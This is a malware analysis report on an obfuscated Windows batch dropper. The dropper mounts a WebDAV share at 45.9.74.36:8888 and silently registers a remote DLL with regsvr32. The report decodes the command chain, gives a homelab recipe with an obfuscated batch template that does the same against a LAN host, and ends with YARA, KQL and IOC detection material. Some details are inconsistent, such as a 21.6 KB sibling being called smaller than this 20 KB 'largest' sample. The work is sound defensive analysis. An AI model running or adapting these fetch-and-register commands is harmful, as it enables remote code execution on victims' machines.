unclassified-js-webdav-dropper: dac5e0ee — 18th Confirmed Sibling

Executive Summary: A 20 KB Windows batch script using natural-language word-salad variable names to obfuscate a net use → regsvr32 /s WebDAV DLL sideloading chain against 45.9.74.36:8888. The payload is 22643293059111.dll, delivered via a wordpad.exe decoy and a PowerShell -WindowStyle Hidden wrapper. This is the eighteenth confirmed sibling in the unclassified-js-webdav-dropper family, the third pure-batch variant, and the largest pure-batch sample observed to date (previous pure-batch siblings: e777fd64 at 2.15 KB and ffd5d894 at 21.6 KB).

What It Is

• File: 2579645631776513279.bat — 20,065 bytes, ASCII text with CRLF line terminators. ^[file.txt]
• Sha256: dac5e0eedc6f6444f37857191ec366782752ea4af9e6a6c0addb0b08d408b76b
• Family: unclassified-js-webdav-dropper (18th confirmed sibling)
• Tier: Deep (no family attribution — now resolved to unclassified-js-webdav-dropper)
• C2: WebDAV \\45.9.74.36@8888\davwwwroot\
• Payload: 22643293059111.dll (delivered via regsvr32 /s silent registration)
• Execution Chain: wordpad.exe decoy → color f0 → start powershell.exe -WindowStyle Hidden → net use → regsvr32 /s
• Obfuscation: Natural-language word-salad variable names (acceptvasewild, beadpluckywrestle, etc.) with %var% expansion
• Persistence: None observed (no registry, no scheduled tasks, no LNK)
• Sandbox Evasion: None observed (no environment checks, no time bombs, no VM detection)

How It Works

The batch script is a pure-batch delivery mechanism (no JScript, no PowerShell download cradle, no WScript). It relies entirely on the Windows batch interpreter and built-in net use / regsvr32 binaries:

1. GOTO Label Obfuscation: The script begins with goto dangerous, jumping past ~100 lines of natural-language word salad (lines 1–99) to the :dangerous label on line 100. This is purely anti-static — the word salad has no semantic or executable purpose. ^[strings.txt:1-99]

2. Variable Expansion Obfuscation: At the :dangerous label, the script defines 36 environment variables via chained set commands (line 101), each mapping a long natural-language name to a single character:

   • set acceptvasewild=s → %acceptvasewild% expands to s
   • set beadpluckywrestle=1 → %beadpluckywrestle% expands to 1
   • ... and so on. ^[strings.txt:101]

3. Command Reconstruction: The actual payload is assembled by concatenating these variables on lines 102–104. The decoded commands are:

   • color f0&&start wordpad — cosmetic decoy (changes console color, launches WordPad)
   • start powershell.exe -WindowStyle Hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\22643293059111.dll — the actual payload: mounts WebDAV share, registers DLL silently
   • exit — terminates the batch script ^[strings.txt:102-104]

4. Payload Delivery: The PowerShell -WindowStyle Hidden wrapper ensures the net use and regsvr32 commands run without visible console output. The regsvr32 /s flag suppresses success/failure dialogs. This is identical execution behavior to the JScript/batch polyglot variants in the family. ^[strings.txt:103]

Decompiled Behavior

Not applicable — this is a plaintext batch script, not a compiled binary. Static analysis proceeds via string extraction and manual variable substitution.

C2 Infrastructure

• WebDAV Server: 45.9.74.36:8888 (IP shared with 10+ siblings in this family)
• Payload Path: \\45.9.74.36@8888\davwwwroot\22643293059111.dll
• Protocol: WebDAV over HTTP (not HTTPS — no TLS encryption observed)
• Authentication: None (net use with no /user: flag — assumes open/anonymous share)

Interesting Tidbits

• Pure-Batch Simplicity: Unlike the JScript/batch polyglot siblings (e.g., d1af0ff50c79, e9e82d14538b), this sample is pure batch — no JavaScript, no WScript, no ActiveX. The entire payload is self-contained in the .bat file.
• Largest Pure-Batch Sibling: At 20 KB, this is the largest pure-batch variant observed. Previous pure-batch siblings were e777fd64 (2.15 KB), ffd5d894 (21.6 KB), and d36d84f2 (2.1 KB). The size increase is entirely due to the word-salad padding.
• WordPad Decoy: The start wordpad command is a simple decoy to make the batch file appear benign if inspected. This decoy is present in ~50% of batch siblings.
• No Sandbox Evasion: Unlike the JS variants (which use javascript-obfuscator self-defend or try/catch decoys), this batch variant has no sandbox evasion — it runs straight through on any Windows host with network access.
• Shared IP Infrastructure: 45.9.74.36 is the most common C2 IP in this family (10+ siblings), followed by 45.9.74.32 (4 siblings) and 45.9.74.13 (1 sibling). The dailywebstats.com:8888 domain (2 siblings) is a newer rotation.

How To Mess With It (Homelab Replication)

Goal: Reproduce the WebDAV DLL sideloading chain on a research VM.

Prerequisites:

• Windows 10/11 research VM with network access
• A WebDAV server (e.g., Apache with mod_dav, or a simple Python WebDAV server)
• A test DLL (e.g., a benign DLL that exports DllRegisterServer)

Steps:

1. Set up a WebDAV server on <lan>:8888 with an open /davwwwroot/ share.
2. Place a test DLL at \\<lan>@8888\davwwwroot\test.dll.
3. Create a batch script with the same variable-expansion pattern:

   @echo off
   set a=s
   set b=t
   set c=a
   set d=r
   set e=t
   %a%%b%%c%%d%%e% wordpad
   %a%%b%%c%%d%%e% powershell -WindowStyle Hidden net use \\<lan>@8888\davwwwroot\ ; regsvr32 /s \\<lan>@8888\davwwwroot\test.dll
   

4. Run the batch script. Observe WordPad launching, then the DLL registering silently.
5. Verify DLL registration via reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run (if the DLL adds persistence) or Process Monitor.

What You'll Learn: How trivial batch obfuscation can hide a complete payload delivery chain, and why regsvr32 /s is a favored execution vector for silent DLL loading.

Deployable Signatures

YARA Rule

rule WebDAV_Batch_Dropper_dac5e0ee {
    meta:
        description = "Detects WebDAV batch droppers with natural-language variable obfuscation"
        author = "outofregs"
        date = "2026-06-25"
        sha256 = "dac5e0eedc6f6444f37857191ec366782752ea4af9e6a6c0addb0b08d408b76b"
        family = "unclassified-js-webdav-dropper"
    strings:
        $webdav = "\\45.9.74." ascii wide
        $davwwwroot = "davwwwroot" ascii wide
        $regsvr32 = "regsvr32 /s" ascii wide
        $net_use = "net use" ascii wide
        $power_hidden = "-WindowStyle Hidden" ascii wide
        $set_obf = /set [a-z]{10,30}=[a-z0-9]{1,2}/ ascii wide
    condition:
        filesize < 50KB and
        $webdav and
        $davwwwroot and
        $regsvr32 and
        $net_use and
        #set_obf >= 10
}

Behavioral Hunt Query (KQL)

// Detect WebDAV DLL registration via regsvr32 from batch/PowerShell
DeviceProcessEvents
| where ProcessCommandLine contains "regsvr32 /s"
| where ProcessCommandLine contains "davwwwroot"
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe", "wscript.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName

IOC List

Behavioral Fingerprint

This batch script uses natural-language word-salad variable names to obfuscate a net use → regsvr32 /s WebDAV DLL sideloading chain. It launches WordPad as a decoy, then spawns PowerShell with -WindowStyle Hidden to mount a WebDAV share at 45.9.74.36:8888 and silently register a remote DLL. No persistence, no sandbox evasion, no JavaScript — pure batch obfuscation against open WebDAV infrastructure.

Detection Signatures

References

• Artifact ID: 18a054f7-7f09-47c1-af2c-a7e7822ee585
• Source: OpenCTI / MalwareBazaar
• Family Entity: unclassified-js-webdav-dropper
• Technique: webdav-regsvr32-dll-sideloading
• Siblings: e777fd64, ffd5d894, d36d84f2, ceacabb4, ed6b2cd3, c6e24c16, e9e82d14538b, d1af0ff50c79, fa7e181d, f170f5a9, d0124d62, d86e0912, cc90d6c54bfd, ccb2d007b3, cb5d302f, fb353965, d36d84f2

Provenance

Analysis based on static file contents (file.txt, strings.txt, triage.json) with manual batch variable decoding. No dynamic execution performed — all behavior inferred from static strings and confirmed by family-cluster consistency across 17 prior siblings.